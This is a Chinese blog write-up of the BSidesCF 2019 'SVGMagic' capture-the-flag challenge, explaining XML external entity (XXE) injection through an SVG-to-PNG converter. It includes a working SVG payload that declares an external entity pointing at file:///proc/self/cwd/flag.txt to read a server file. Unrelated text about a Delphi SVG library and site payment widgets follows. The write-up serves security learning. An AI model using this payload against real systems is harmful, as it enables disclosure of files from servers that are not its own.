[BSidesCF 2019]SVGMagic

本文深入探讨了SVG到PNG转换过程中可能存在的XML外部实体注入(XEE)漏洞。SVG作为一种基于XML的图形语言,其可控内容可能导致XXE攻击。当应用程序在解析XML输入时不阻止外部实体加载时,攻击者可以利用此漏洞读取敏感文件。例如,通过在SVG中定义外部实体引用文件系统路径,攻击者能够将文件内容暴露出来。了解并防止这种攻击对于保障系统安全至关重要。
摘要由CSDN通过智能技术生成
知识点:XML外部实体注入(XEE)

标题说把SVG转为PNG
在这里插入图片描述
SVG是一种用XML定义的语言,SVG图形是可交互的和动态的,可以在SVG文件中嵌入动画元素或通过脚本来定义动画。

也就是说这里的SVG是个XML,并且存在可控的内容,那么自然就会想到XXE。

究极详细讲解:https://www.freebuf.com/vuls/175451.html

我的理解是:

首先我们要知道,XML 被设计用来传输和存储数据。
然后这个漏洞就是利用了,应用程序在解析XML输入时,没有禁止外部实体的加载。
就拿下面的这个来说<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >,这个就是外部实体,加载了flag.txt,然后输出,
也就是:应该是实体引用,把加载的东西放出来
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

在这里插入图片描述

一个好用的DELPHI SVG库。 SVG全名是可缩放矢量图形(英语:Scalable Vector Graphics,SVG),是一种基于可扩展标记语言(XML),用于描述二维矢量图形的图形格式。 SVG格式具有以下优点: * 图像文件可读,易于修改和编辑(理论上如此,但实际上却是因为各种不同的SVG档编辑器而可能存储成不易解读的SVG文件) * 与现有技术可以互动融合。例如,SVG技术本身的动态部分(包括时序控制和动画)就是基于SMIL标准。另外,SVG文件还可嵌入JavaScript(严格地说,应该是ECMAScript)脚本来控制SVG对象 * SVG图形格式可以方便的创建文字索引,从而实现基于内容的图像搜索 * SVG图形格式支持多种滤镜和特殊效果,在不改变图像内容的前提下可以实现位图格式中类似文字阴影的效果。 * SVG图形格式可以用来动态生成图形。例如,可用SVG动态生成具有交互功能的地图,嵌入网页中,并显示给终端用户。 SVG格式具有以下缺点: * 如何和已经占有重要市场份额的矢量图形格式Adobe Animate竞争的问题。事实上,Adobe Animate在Flash CC 2014版及以后的版本就都支持直接导出SVG文件了。 * SVG的本地运行环境下的厂家支持程度。 * 由于原始的SVG档是遵从XML语法,导致数据采用未压缩的方式存放,因此相较于其他的矢量图形格式,同样的文件内容会比其他的文件格式稍大。Adobe因此使用gzip压缩开发出压缩的SVG档格式,附文件名为 .svgz, 但此种文件格式除了Adobe旗下的软件以外,未被广泛支持使用。 * 旧版的SVG Viewer无法正确显示出使用新版SVG格式的矢量图形。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值